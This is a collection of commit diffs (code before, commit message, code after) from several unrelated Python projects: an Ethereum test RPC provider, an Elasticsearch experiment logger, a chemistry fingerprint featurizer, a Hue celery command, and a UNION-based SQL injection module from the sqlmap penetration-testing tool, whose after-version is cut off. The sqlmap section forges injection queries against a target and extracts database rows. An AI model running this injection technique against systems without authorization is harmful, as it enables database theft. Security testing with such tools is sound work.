        response = self.client.post(self.path, body=request_data)
        response_body = response.read()

        return response_body

def is_testrpc_available():
    try:
        import testrpc  # noqa: F401
        return True
    except ImportError:
        return False

class TestRPCProvider(RPCProvider):
    def __init__(self, host="127.0.0.1", port=8545, *args, **kwargs):
        if not is_testrpc_available():
            raise Exception("`TestRPCProvider` requires the `eth-testrpc` package to be installed")
        from gevent.pywsgi import WSGIServer
        from testrpc.server import application
        from testrpc.testrpc import evm_reset

        try:
            logger = kwargs.pop('logger')
        except KeyError:
            logger = logging.getLogger('testrpc')

        evm_reset()

        self.server = WSGIServer(
            (host, port),
            application,
            log=logger,
            error_log=logger,
        )

        self.thread = gevent.spawn(self.server.serve_forever)

        super(TestRPCProvider, self).__init__(host, str(port), *args, **kwargs)

<|endoftext|>


<commit_before>#  Numenta Platform for Intelligent Computing (NuPIC)
#  Copyright (C) 2019, Numenta, Inc.  Unless you have an agreement
#  with Numenta, Inc., for a separate license for this software code, the
#  following terms and conditions apply:
#
#  This program is free software: you can redistribute it and/or modify
#  it under the terms of the GNU Affero Public License version 3 as
#  published by the Free Software Foundation.
#
#  This program is distributed in the hope that it will be useful,
#  but WITHOUT ANY WARRANTY; without even the implied warranty of
#  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
#  See the GNU Affero Public License for more details.
#
#  You should have received a copy of the GNU Affero Public License
#  along with this program.  If not, see http://www.gnu.org/licenses.
#
#  http://numenta.org/licenses/
#
import os
import re
import subprocess
from datetime import datetime

from elasticsearch import Elasticsearch, helpers
from elasticsearch.helpers import BulkIndexError
from ray.tune.logger import Logger

class ElasticsearchLogger(Logger):
    """
    Elasticsearch Logging interface for `ray.tune`.

    This logger will upload all the results to an elasticsearch index.
    In addition to the regular ray tune log entry, this logger will add the
    the last git commit information and the current `logdir` to the results.

    The following environment variables are used to configure the
    :class:`elasticsearch.Elasticsearch` client:

        - **ELASTIC_CLOUD_ID**: The Cloud ID from ElasticCloud. Other host
                                connection params will be ignored
        - **ELASTIC_HOST**: hostname of the elasticsearch node
        - **ELASTIC_AUTH**: http auth information ('user:password')

    You may override the environment variables or pass extra parameters to the
    :class:`elasticsearch.Elasticsearch` client for the specific experiment
    using the "elasticsearch_client" configuration key.

    The elasticsearch index name is based on the current results root path. You
    may override this behavior and use a specific index name for your experiment
    using the configuration key `elasticsearch_index`.
    """

    def _init(self):
        elasticsearch_args = {
            "cloud_id": os.environ.get("ELASTIC_CLOUD_ID"),
            "hosts": [os.environ.get("ELASTIC_HOST")],
            "http_auth": os.environ.get("ELASTIC_AUTH")
        }

        # Update elasticsearch client arguments from configuration if present
        elasticsearch_args.update(self.config.get("elasticsearch_client", {}))
        self.client = Elasticsearch(**elasticsearch_args)

        # Save git information
        self.git_remote = subprocess.check_output(
            ["git", "ls-remote", "--get-url"]).decode("ascii").strip()
        self.git_branch = subprocess.check_output(
            ["git", "rev-parse", "--abbrev-ref", "HEAD"]).decode("ascii").strip()
        self.git_sha = subprocess.check_output(
            ["git", "rev-parse", "HEAD"]).decode("ascii").strip()
        self.git_user = subprocess.check_output(
            ["git", "log", "-n", "1", "--pretty=format:%an"]).decode("ascii").strip()

        # Check for elasticsearch index name in configuration
        index_name = self.config.get("elasticsearch_index")
        if index_name is None:
            # Create default index name based on log path and git repo name
            git_root = subprocess.check_output(
                ["git", "rev-parse", "--show-toplevel"]).decode("ascii").strip()
            repo_name = os.path.basename(self.git_remote).rstrip(".git")
            path_name = os.path.relpath(self.config["path"], git_root)
            index_name = os.path.join(repo_name, path_name)

            # slugify index name
            index_name = re.sub(r"[\W_]+", "-", index_name)

        self.index_name = index_name

        self.logdir = os.path.basename(self.logdir)
        self.experiment_name = self.config["name"]
        self.buffer = []

    def on_result(self, result):
        """Given a result, appends it to the existing log."""

        log_entry = {
            "git": {
                "remote": self.git_remote,
                "branch": self.git_branch,
                "sha": self.git_sha,
                "user": self.git_user
            },
            "logdir": self.logdir
        }
        # Convert timestamp to ISO-8601
        timestamp = result["timestamp"]
        result["timestamp"] = datetime.utcfromtimestamp(timestamp).isoformat()

        log_entry.update(result)
        self.buffer.append(log_entry)

    def close(self):
        self.flush()

    def flush(self):
        if len(self.buffer) > 0:
            results = helpers.parallel_bulk(client=self.client,
                                            actions=self.buffer,
                                            index=self.index_name,
                                            doc_type=self.experiment_name)
            errors = [status for success, status in results if not success]
            if errors:
                raise BulkIndexError("{} document(s) failed to index.".
                                     format(len(errors)), errors)

            self.buffer.clear()
<commit_msg>RES-948: Add log query utility<commit_after>#  Numenta Platform for Intelligent Computing (NuPIC)
#  Copyright (C) 2019, Numenta, Inc.  Unless you have an agreement
#  with Numenta, Inc., for a separate license for this software code, the
#  following terms and conditions apply:
#
#  This program is free software: you can redistribute it and/or modify
#  it under the terms of the GNU Affero Public License version 3 as
#  published by the Free Software Foundation.
#
#  This program is distributed in the hope that it will be useful,
#  but WITHOUT ANY WARRANTY; without even the implied warranty of
#  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
#  See the GNU Affero Public License for more details.
#
#  You should have received a copy of the GNU Affero Public License
#  along with this program.  If not, see http://www.gnu.org/licenses.
#
#  http://numenta.org/licenses/
#
import os
import re
import subprocess
from datetime import datetime

from elasticsearch import Elasticsearch, helpers
from elasticsearch.client.xpack import SqlClient
from elasticsearch.helpers import BulkIndexError
from pandas import DataFrame
from pandas.io.json.normalize import nested_to_record
from ray.tune.logger import Logger

def create_elastic_client(**kwargs):
    """
    Create and configure :class:`elasticsearch.Elasticsearch` client

    The following environment variables are used to configure the client:

        - **ELASTIC_CLOUD_ID**: The Cloud ID from ElasticCloud. Other host
                                connection params will be ignored. ("cloud_id")
        - **ELASTIC_HOSTS**: List of nodes we should connect to. ("hosts")
        - **ELASTIC_AUTH**: http auth information ("http_auth")

    :param kwargs: Used to override the environment variables or pass extra
                   parameters to the :class:`elasticsearch.Elasticsearch`.
    :type kwargs: dict
    :return: Configured :class:`elasticsearch.Elasticsearch` client
    :rtype: :class:`Elasticsearch`
    """
    hosts = os.environ.get("ELASTIC_HOST")
    hosts = None if hosts is None else hosts.split(",")
    elasticsearch_args = {
        "cloud_id": os.environ.get("ELASTIC_CLOUD_ID"),
        "hosts": hosts,
        "http_auth": os.environ.get("ELASTIC_AUTH")
    }

    # Update elasticsearch client arguments from configuration if present
    elasticsearch_args.update(kwargs)
    return Elasticsearch(**elasticsearch_args)

class ElasticsearchLogger(Logger):
    """
    Elasticsearch Logging interface for `ray.tune`.

    This logger will upload all the results to an elasticsearch index.
    In addition to the regular ray tune log entry, this logger will add the
    the last git commit information and the current `logdir` to the results.

    The following environment variables are used to configure the
    :class:`elasticsearch.Elasticsearch` client:

        - **ELASTIC_CLOUD_ID**: The Cloud ID from ElasticCloud. Other host
                                connection params will be ignored
        - **ELASTIC_HOST**: hostname of the elasticsearch node
        - **ELASTIC_AUTH**: http auth information ('user:password')

    You may override the environment variables or pass extra parameters to the
    :class:`elasticsearch.Elasticsearch` client for the specific experiment
    using the "elasticsearch_client" configuration key.

    The elasticsearch index name is based on the current results root path. You
    may override this behavior and use a specific index name for your experiment
    using the configuration key `elasticsearch_index`.
    """

    def _init(self):
        elasticsearch_args = self.config.get("elasticsearch_client", {})
        self.client = create_elastic_client(**elasticsearch_args)

        # Save git information
        self.git_remote = subprocess.check_output(
            ["git", "ls-remote", "--get-url"]).decode("ascii").strip()
        self.git_branch = subprocess.check_output(
            ["git", "rev-parse", "--abbrev-ref", "HEAD"]).decode("ascii").strip()
        self.git_sha = subprocess.check_output(
            ["git", "rev-parse", "HEAD"]).decode("ascii").strip()
        self.git_user = subprocess.check_output(
            ["git", "log", "-n", "1", "--pretty=format:%an"]).decode("ascii").strip()

        # Check for elasticsearch index name in configuration
        index_name = self.config.get("elasticsearch_index")
        if index_name is None:
            # Create default index name based on log path and git repo name
            git_root = subprocess.check_output(
                ["git", "rev-parse", "--show-toplevel"]).decode("ascii").strip()
            repo_name = os.path.basename(self.git_remote).rstrip(".git")
            path_name = os.path.relpath(self.config["path"], git_root)
            index_name = os.path.join(repo_name, path_name)

            # slugify index name
            index_name = re.sub(r"[\W_]+", "-", index_name)

        self.index_name = index_name

        self.logdir = os.path.basename(self.logdir)
        self.experiment_name = self.config["name"]
        self.buffer = []

    def on_result(self, result):
        """Given a result, appends it to the existing log."""
        log_entry = {
            "git": {
                "remote": self.git_remote,
                "branch": self.git_branch,
                "sha": self.git_sha,
                "user": self.git_user
            },
            "logdir": self.logdir
        }
        # Convert timestamp to ISO-8601
        timestamp = result["timestamp"]
        result["timestamp"] = datetime.utcfromtimestamp(timestamp).isoformat()

        log_entry.update(result)
        self.buffer.append(log_entry)

    def close(self):
        self.flush()

    def flush(self):
        if len(self.buffer) > 0:
            results = helpers.parallel_bulk(client=self.client,
                                            actions=self.buffer,
                                            index=self.index_name,
                                            doc_type=self.experiment_name)
            errors = [status for success, status in results if not success]
            if errors:
                raise BulkIndexError("{} document(s) failed to index.".
                                     format(len(errors)), errors)

            self.buffer.clear()

def elastic_dsl(client, dsl, index, **kwargs):
    """
    Sends DSL query to elasticsearch and returns the results as a
    :class:`pandas.DataFrame`.

    :param client: Configured elasticseach client. See :func:`create_elastic_client`
    :type client: :class:`elasticseach.Elasticsearch`
    :param dsl: Elasticsearch DSL query statement
                See https://www.elastic.co/guide/en/elasticsearch/reference/current/query-dsl.html  # noqa: E501
    :type dsl: str
    :param index: Index pattern. Usually the same as 'from' part of the SQL
                  See https://www.elastic.co/guide/en/elasticsearch/reference/current/multi-index.html # noqa: E501
    :type index: str

    :param kwargs: Any additional keyword arguments will be passed to the initial
                   :meth:`elasticsearch.Elasticsearch.search` call
    :type kwargs: dict

    :return: results as a :class:`pandas.DataFrame`.
    :rtype: :class:`pandas.DataFrame`
    """
    response = helpers.scan(client=client, query=dsl, index=index, **kwargs)
    data = []
    for row in response:
        # Normalize nested dicts in '_source' such as 'config' or 'git'
        source = nested_to_record(row["_source"]) if "_source" in row else {}

        # Squeeze scalar fields returned as arrays in the response by the search API
        fields = row.get("fields", {})
        fields = {k: v[0] if len(v) == 1 else v for k, v in fields.items()}

        data.append({
            "_index": row["_index"],
            "_type": row["_type"],
            **fields,
            **source,
        })
    return DataFrame(data)

def elastic_sql(client, sql, index, **kwargs):
    """
    Sends SQL query to elasticsearch and returns the results as a
    :class:`pandas.DataFrame`.

    :param client: Configured elasticseach client. See :func:`create_elastic_client`
    :type client: :class:`elasticseach.Elasticsearch`
    :param sql: Elasticsearch SQL query statement
                See https://www.elastic.co/guide/en/elasticsearch/reference/current/xpack-sql.html  # noqa: E501
    :type sql: str
    :param index: Index pattern. Usually the same as 'from' part of the SQL
                  See https://www.elastic.co/guide/en/elasticsearch/reference/current/multi-index.html
    :type index: str
    :param kwargs: Any additional keyword arguments will be passed to the initial
                   :meth:`elasticsearch.Elasticsearch.search` call

    :type kwargs: dict
    :return: results as a :class:`pandas.DataFrame`.
    :rtype: :class:`pandas.DataFrame`
    """
    sql_client = SqlClient(client)
    # FIXME: SQL API does not support arrays. See https://github.com/elastic/elasticsearch/issues/33204  # noqa: E501
    # For now we translate the SQL into elasticsearch DSL query and use the
    # 'search' API to fetch the results
    dsl = sql_client.translate({"query": sql})

    # Ignore score
    if "query" in dsl:
        query = dsl["query"]
        dsl["query"] = {"constant_score": {"filter": query}}

    return elastic_dsl(client, dsl, index, **kwargs)
<|endoftext|>


<commit_before>import numpy as np

from deepchem.utils.typing import RDKitMol
from deepchem.feat.base_classes import MolecularFeaturizer

class PubChemFingerpint(MolecularFeaturizer):
  """PubChem Fingerprint.

  The PubChem fingerprint is a 881 bit structural key,
  which is used by PubChem for similarity searching.
  Please confirm the details in [1]_.

  References
  ----------
  .. [1] ftp://ftp.ncbi.nlm.nih.gov/pubchem/specifications/pubchem_fingerprints.pdf

  Notes
  -----
  This class requires RDKit and PubChemPy to be installed.
  """

  def __init__(self):
    """Initialize this featurizer."""
    try:
      from rdkit import Chem  # noqa
      import pubchempy as pcp  # noqa
    except ModuleNotFoundError:
      raise ValueError("This class requires PubChemPy to be installed.")

    self.get_pubchem_compound = pcp.get_compounds

  def _featurize(self, mol: RDKitMol) -> np.ndarray:
    """
    Calculate PubChem fingerprint.

    Parameters
    ----------
    mol: rdkit.Chem.rdchem.Mol
      RDKit Mol object

    Returns
    -------
    np.ndarray
      1D array of RDKit descriptors for `mol`. The length is 167.
    """
    from rdkit import Chem
    smiles = Chem.MolToSmiles(mol)
    pubchem_compound = self.get_pubchem_compound(smiles, 'smiles')[0]
    feature = [int(bit) for bit in pubchem_compound.cactvs_fingerprint]
    return np.asarray(feature)
<commit_msg>:bug: fix small<commit_after>import numpy as np

from deepchem.utils.typing import RDKitMol
from deepchem.feat.base_classes import MolecularFeaturizer

class PubChemFingerpint(MolecularFeaturizer):
  """PubChem Fingerprint.

  The PubChem fingerprint is a 881 bit structural key,
  which is used by PubChem for similarity searching.
  Please confirm the details in [1]_.

  References
  ----------
  .. [1] ftp://ftp.ncbi.nlm.nih.gov/pubchem/specifications/pubchem_fingerprints.pdf

  Notes
  -----
  This class requires RDKit and PubChemPy to be installed.
  """

  def __init__(self):
    """Initialize this featurizer."""
    try:
      from rdkit import Chem  # noqa
      import pubchempy as pcp  # noqa
    except ModuleNotFoundError:
      raise ValueError("This class requires PubChemPy to be installed.")

    self.get_pubchem_compounds = pcp.get_compounds

  def _featurize(self, mol: RDKitMol) -> np.ndarray:
    """
    Calculate PubChem fingerprint.

    Parameters
    ----------
    mol: rdkit.Chem.rdchem.Mol
      RDKit Mol object

    Returns
    -------
    np.ndarray
      1D array of RDKit descriptors for `mol`. The length is 167.
    """
    from rdkit import Chem
    smiles = Chem.MolToSmiles(mol)
    pubchem_compound = self.get_pubchem_compounds(smiles, 'smiles')[0]
    feature = [int(bit) for bit in pubchem_compound.cactvs_fingerprint]
    return np.asarray(feature)
<|endoftext|>


<commit_before>#!/usr/bin/env python
# Licensed to Cloudera, Inc. under one
# or more contributor license agreements.  See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership.  Cloudera, Inc. licenses this file
# to you under the Apache License, Version 2.0 (the
# "License"); you may not use this file except in compliance
# with the License.  You may obtain a copy of the License at
#
#     http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.

import logging
import os
import sys

from desktop.conf import DEV

from django.core.management.base import BaseCommand
from django.utils import autoreload
from django.utils.translation import ugettext as _

SERVER_HELP = r"""
  Run Hue using either the CherryPy server or the Spawning server, based on
  the current configuration.
"""

from celery.bin.celery import CeleryCommand
from celery.bin.celery import main as celery_main

LOG = logging.getLogger(__name__)

class Command(BaseCommand):
  help = _("Web server for Hue.")
  def add_arguments(self, parser):
    parser.add_argument('worker')
    parser.add_argument(
        '--app',
        type=str,
        default='desktop.celery'
    )
    parser.add_argument(
        '--concurrency',
        type=int,
        default=1
    )
    parser.add_argument(
        '--loglevel',
        type=str,
        default='DEBUG'
    )

  def handle(self, *args, **options):
    runcelery(*args, **options)

  def usage(self, subcommand):
    return SERVER_HELP

def runcelery(*args, **options):
  #CeleryCommand().handle_argv(['worker', '--app=desktop.celery', '--concurrency=1', '--loglevel=DEBUG'])
  opts = ['runcelery', 'worker', '--app=' + options['app'], '--concurrency=' + str(options['concurrency']), '--loglevel=' + options['loglevel']]
  if DEV.get():
    autoreload.main(celery_main, (opts,))
  else:
    celery_main(opts)
  LOG.error("Failed to exec '%s' with argument '%s'" % args)
  sys.exit(-1)

if __name__ == '__main__':
  runcelery(sys.argv[1:])
<commit_msg>HUE-8747 [editor] drop_privilege for tasks.<commit_after>#!/usr/bin/env python
# Licensed to Cloudera, Inc. under one
# or more contributor license agreements.  See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership.  Cloudera, Inc. licenses this file
# to you under the Apache License, Version 2.0 (the
# "License"); you may not use this file except in compliance
# with the License.  You may obtain a copy of the License at
#
#     http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.

import logging
import os
import sys

from desktop import conf
from desktop.lib.daemon_utils import drop_privileges_if_necessary

from django.core.management.base import BaseCommand
from django.utils import autoreload
from django.utils.translation import ugettext as _

SERVER_HELP = r"""
  Run celery worker.
"""

from celery.bin.celery import CeleryCommand
from celery.bin.celery import main as celery_main

LOG = logging.getLogger(__name__)
CELERY_OPTIONS = {
  'server_user': conf.SERVER_USER.get(),
  'server_group': conf.SERVER_GROUP.get(),
}

class Command(BaseCommand):
  help = SERVER_HELP
  def add_arguments(self, parser):
    parser.add_argument('worker')
    parser.add_argument(
        '--app',
        type=str,
        default='desktop.celery'
    )
    parser.add_argument(
        '--concurrency',
        type=int,
        default=1
    )
    parser.add_argument(
        '--loglevel',
        type=str,
        default='DEBUG'
    )

  def handle(self, *args, **options):
    runcelery(*args, **options)

  def usage(self, subcommand):
    return SERVER_HELP

def runcelery(*args, **options):
  #CeleryCommand().handle_argv(['worker', '--app=desktop.celery', '--concurrency=1', '--loglevel=DEBUG'])
  opts = ['runcelery', 'worker', '--app=' + options['app'], '--concurrency=' + str(options['concurrency']), '--loglevel=' + options['loglevel']]
  drop_privileges_if_necessary(CELERY_OPTIONS)
  if conf.DEV.get():
    autoreload.main(celery_main, (opts,))
  else:
    celery_main(opts)
  LOG.error("Failed to exec '%s' with argument '%s'" % args)
  sys.exit(-1)

if __name__ == '__main__':
  runcelery(sys.argv[1:])
<|endoftext|>


<commit_before>#!/usr/bin/env python

"""
Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/)
See the file 'doc/COPYING' for copying permission
"""

import re
import time

from extra.safe2bin.safe2bin import safecharencode
from lib.core.agent import agent
from lib.core.bigarray import BigArray
from lib.core.common import arrayizeValue
from lib.core.common import Backend
from lib.core.common import calculateDeltaSeconds
from lib.core.common import clearConsoleLine
from lib.core.common import dataToStdout
from lib.core.common import extractRegexResult
from lib.core.common import flattenValue
from lib.core.common import getConsoleWidth
from lib.core.common import getPartRun
from lib.core.common import getUnicode
from lib.core.common import hashDBRetrieve
from lib.core.common import hashDBWrite
from lib.core.common import incrementCounter
from lib.core.common import initTechnique
from lib.core.common import isListLike
from lib.core.common import isNoneValue
from lib.core.common import isNumPosStrValue
from lib.core.common import listToStrValue
from lib.core.common import parseUnionPage
from lib.core.common import removeReflectiveValues
from lib.core.common import singleTimeDebugMessage
from lib.core.common import singleTimeWarnMessage
from lib.core.common import unArrayizeValue
from lib.core.common import wasLastResponseDBMSError
from lib.core.convert import htmlunescape
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import queries
from lib.core.dicts import FROM_DUMMY_TABLE
from lib.core.enums import DBMS
from lib.core.enums import PAYLOAD
from lib.core.exception import SqlmapSyntaxException
from lib.core.settings import SQL_SCALAR_REGEX
from lib.core.settings import TURN_OFF_RESUME_INFO_LIMIT
from lib.core.threads import getCurrentThreadData
from lib.core.threads import runThreads
from lib.core.unescaper import unescaper
from lib.request.connect import Connect as Request

def _oneShotUnionUse(expression, unpack=True, limited=False):
    retVal = hashDBRetrieve("%s%s" % (conf.hexConvert, expression), checkConf=True)  # as union data is stored raw unconverted

    threadData = getCurrentThreadData()
    threadData.resumed = retVal is not None

    if retVal is None:
        # Prepare expression with delimiters
        injExpression = unescaper.escape(agent.concatQuery(expression, unpack))

        where = PAYLOAD.WHERE.NEGATIVE if conf.limitStart or conf.limitStop else None

        # Forge the union SQL injection request
        vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector
        kb.unionDuplicates = vector[7]
        query = agent.forgeUnionQuery(injExpression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5], vector[6], None, limited)
        payload = agent.payload(newValue=query, where=where)

        # Perform the request
        page, headers = Request.queryPage(payload, content=True, raise404=False)

        incrementCounter(PAYLOAD.TECHNIQUE.UNION)

        # Parse the returned page to get the exact union-based
        # SQL injection output
        def _(regex):
            return reduce(lambda x, y: x if x is not None else y, (\
                    extractRegexResult(regex, removeReflectiveValues(page, payload), re.DOTALL | re.IGNORECASE), \
                    extractRegexResult(regex, removeReflectiveValues(listToStrValue(headers.headers \
                    if headers else None), payload, True), re.DOTALL | re.IGNORECASE)), \
                    None)

        # Automatically patching last char trimming cases
        if kb.chars.stop not in (page or "") and kb.chars.stop[:-1] in (page or ""):
            warnMsg = "automatically patching output having last char trimmed"
            singleTimeWarnMessage(warnMsg)
            page = page.replace(kb.chars.stop[:-1], kb.chars.stop)

        retVal = _("(?P<result>%s.*%s)" % (kb.chars.start, kb.chars.stop))

        if retVal is not None:
            retVal = getUnicode(retVal, kb.pageEncoding)

            # Special case when DBMS is Microsoft SQL Server and error message is used as a result of union injection
            if Backend.isDbms(DBMS.MSSQL) and wasLastResponseDBMSError():
                retVal = htmlunescape(retVal).replace("
", "\n")

            hashDBWrite("%s%s" % (conf.hexConvert, expression), retVal)
        else:
            trimmed = _("%s(?P<result>.*?)<" % (kb.chars.start))

            if trimmed:
                warnMsg = "possible server trimmed output detected "
                warnMsg += "(probably due to its length and/or content): "
                warnMsg += safecharencode(trimmed)
                logger.warn(warnMsg)

    return retVal

def configUnion(char=None, columns=None):
    def _configUnionChar(char):
        if not isinstance(char, basestring):
            return

        kb.uChar = char

        if conf.uChar is not None:
            kb.uChar = char.replace("[CHAR]", conf.uChar if conf.uChar.isdigit() else "'%s'" % conf.uChar.strip("'"))

    def _configUnionCols(columns):
        if not isinstance(columns, basestring):
            return

        columns = columns.replace(" ", "")
        if "-" in columns:
            colsStart, colsStop = columns.split("-")
        else:
            colsStart, colsStop = columns, columns

        if not colsStart.isdigit() or not colsStop.isdigit():
            raise SqlmapSyntaxException("--union-cols must be a range of integers")

        conf.uColsStart, conf.uColsStop = int(colsStart), int(colsStop)

        if conf.uColsStart > conf.uColsStop:
            errMsg = "--union-cols range has to be from lower to "
            errMsg += "higher number of columns"
            raise SqlmapSyntaxException(errMsg)

    _configUnionChar(char)
    _configUnionCols(conf.uCols or columns)

def unionUse(expression, unpack=True, dump=False):
    """
    This function tests for an union SQL injection on the target
    url then call its subsidiary function to effectively perform an
    union SQL injection on the affected url
    """

    initTechnique(PAYLOAD.TECHNIQUE.UNION)

    abortedFlag = False
    count = None
    origExpr = expression
    startLimit = 0
    stopLimit = None
    value = None

    width = getConsoleWidth()
    start = time.time()

    _, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields(origExpr)

    # Set kb.partRun in case the engine is called from the API
    kb.partRun = getPartRun(alias=False) if hasattr(conf, "api") else None

    if expressionFieldsList and len(expressionFieldsList) > 1 and "ORDER BY" in expression.upper():
        # Removed ORDER BY clause because UNION does not play well with it
        expression = re.sub("\s*ORDER BY\s+[\w,]+", "", expression, re.I)
        debugMsg = "stripping ORDER BY clause from statement because "
        debugMsg += "it does not play well with UNION query SQL injection"
        singleTimeDebugMessage(debugMsg)

    # We have to check if the SQL query might return multiple entries
    # if the technique is partial UNION query and in such case forge the
    # SQL limiting the query output one entry at a time
    # NOTE: we assume that only queries that get data from a table can
    # return multiple entries
    if (kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.NEGATIVE or \
       (dump and (conf.limitStart or conf.limitStop)) or "LIMIT " in expression.upper()) and \
       " FROM " in expression.upper() and ((Backend.getIdentifiedDbms() \
       not in FROM_DUMMY_TABLE) or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE \
       and not expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) \
       and not re.search(SQL_SCALAR_REGEX, expression, re.I):
        expression, limitCond, topLimit, startLimit, stopLimit = agent.limitCondition(expression, dump)

        if limitCond:
            # Count the number of SQL query entries output
            countedExpression = expression.replace(expressionFields, queries[Backend.getIdentifiedDbms()].count.query % ('*' if len(expressionFieldsList) > 1 else expressionFields), 1)

            if " ORDER BY " in countedExpression.upper():
                _ = countedExpression.upper().rindex(" ORDER BY ")
                countedExpression = countedExpression[:_]

            output = _oneShotUnionUse(countedExpression, unpack)
            count = unArrayizeValue(parseUnionPage(output))

            if isNumPosStrValue(count):
                if isinstance(stopLimit, int) and stopLimit > 0:
                    stopLimit = min(int(count), int(stopLimit))
                else:
                    stopLimit = int(count)

                    infoMsg = "the SQL query used returns "
                    infoMsg += "%d entries" % stopLimit
                    logger.info(infoMsg)

            elif count and (not isinstance(count, basestring) or not count.isdigit()):
                warnMsg = "it was not possible to count the number "
                warnMsg += "of entries for the SQL query provided. "
                warnMsg += "sqlmap will assume that it returns only "
                warnMsg += "one entry"
                logger.warn(warnMsg)

                stopLimit = 1

            elif (not count or int(count) == 0):
                if not count:
                    warnMsg = "the SQL query provided does not "
                    warnMsg += "return any output"
                    logger.warn(warnMsg)
                else:
                    value = []  # for empty tables
                return value

            threadData = getCurrentThreadData()
            threadData.shared.limits = iter(xrange(startLimit, stopLimit))
            numThreads = min(conf.threads, (stopLimit - startLimit))
            threadData.shared.value = BigArray()
            threadData.shared.buffered = []
            threadData.shared.lastFlushed = startLimit - 1

            if stopLimit > TURN_OFF_RESUME_INFO_LIMIT:
                kb.suppressResumeInfo = True
                debugMsg = "suppressing possible resume console info because of "
                debugMsg += "large number of rows. It might take too long"
                logger.debug(debugMsg)

            try:
                def unionThread():
                    threadData = getCurrentThreadData()

                    while kb.threadContinue:
                        with kb.locks.limit:
                            try:
                                num = threadData.shared.limits.next()
                            except StopIteration:
                                break

                        if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
                            field = expressionFieldsList[0]
                        elif Backend.isDbms(DBMS.ORACLE):
                            field = expressionFieldsList
                        else:
                            field = None

                        limitedExpr = agent.limitQuery(num, expression, field)
                        output = _oneShotUnionUse(limitedExpr, unpack, True)

                        if not kb.threadContinue:
                            break

                        if output:
                            if all(map(lambda _: _ in output, (kb.chars.start, kb.chars.stop))):
                                items = parseUnionPage(output)

                                with kb.locks.value:
                                    # in case that we requested N columns and we get M!=N then we have to filter a bit
                                    if isListLike(items) and len(items) > 1 and len(expressionFieldsList) > 1:
                                        items = [item for item in items if isListLike(item) and len(item) == len(expressionFieldsList)]
                                    index = None
                                    for index in xrange(len(threadData.shared.buffered)):
                                        if threadData.shared.buffered[index][0] >= num:
                                            break
                                    threadData.shared.buffered.insert(index or 0, (num, items))
                                    while threadData.shared.buffered and threadData.shared.lastFlushed + 1 == threadData.shared.buffered[0][0]:
                                        threadData.shared.lastFlushed += 1
                                        _ = threadData.shared.buffered[0][1]
                                        if not isNoneValue(_):
                                            threadData.shared.value.extend(arrayizeValue(_))
                                        del threadData.shared.buffered[0]
                            else:
                                with kb.locks.value:
                                    index = None
                                    for index in xrange(len(threadData.shared.buffered)):
                                        if threadData.shared.buffered[index][0] >= num:
                                            break
                                    threadData.shared.buffered.insert(index or 0, (num, None))
                                items = output.replace(kb.chars.start, "").replace(kb.chars.stop, "").split(kb.chars.delimiter)

                            if conf.verbose == 1 and not (threadData.resumed and kb.suppressResumeInfo):
                                status = "[%s] [INFO] %s: %s" % (time.strftime("%X"), "resumed" if threadData.resumed else "retrieved", safecharencode(",".join("\"%s\"" % _ for _ in flattenValue(arrayizeValue(items)))))

                                if len(status) > width:
                                    status = "%s..." % status[:width - 3]

                                dataToStdout("%s\r\n" % status, True)

                runThreads(numThreads, unionThread)

                if conf.verbose == 1:
                    clearConsoleLine(True)

            except KeyboardInterrupt:
                abortedFlag = True

                warnMsg = "user aborted during enumeration. sqlmap "
                warnMsg += "will display partial output"
                logger.warn(warnMsg)

            finally:
                for _ in sorted(threadData.shared.buffered):
                    if not isNoneValue(_[1]):
                        threadData.shared.value.extend(arrayizeValue(_[1]))
                value = threadData.shared.value
                kb.suppressResumeInfo = False

    if not value and not abortedFlag:
        value = _oneShotUnionUse(expression, unpack)

    duration = calculateDeltaSeconds(start)

    if not kb.bruteMode:
        debugMsg = "performed %d queries in %d seconds" % (kb.counters[PAYLOAD.TECHNIQUE.UNION], duration)
        logger.debug(debugMsg)

    return value
<commit_msg>Minor fix<commit_after>#!/usr/bin/env python

"""
Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/)
See the file 'doc/COPYING' for copying permission
"""

import re
import time

from extra.safe2bin.safe2bin import safecharencode
from lib.core.agent import agent
from lib.core.bigarray import BigArray
from lib.core.common import arrayizeValue
from lib.core.common import Backend
from lib.core.common import calculateDeltaSeconds
from lib.core.common import clearConsoleLine
from lib.core.common import dataToStdout
from lib.core.common import extractRegexResult
from lib.core.common import flattenValue
from lib.core.common import getConsoleWidth
from lib.core.common import getPartRun
from lib.core.common import getUnicode
from lib.core.common import hashDBRetrieve
from lib.core.common import hashDBWrite
from lib.core.common import incrementCounter
from lib.core.common import initTechnique
from lib.core.common import isListLike
from lib.core.common import isNoneValue
from lib.core.common import isNumPosStrValue
from lib.core.common import listToStrValue
from lib.core.common import parseUnionPage
from lib.core.common import removeReflectiveValues
from lib.core.common import singleTimeDebugMessage
from lib.core.common import singleTimeWarnMessage
from lib.core.common import unArrayizeValue
from lib.core.common import wasLastResponseDBMSError
from lib.core.convert import htmlunescape
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import queries
from lib.core.dicts import FROM_DUMMY_TABLE
from lib.core.enums import DBMS
from lib.core.enums import PAYLOAD
from lib.core.exception import SqlmapSyntaxException
from lib.core.settings import SQL_SCALAR_REGEX
from lib.core.settings import TURN_OFF_RESUME_INFO_LIMIT
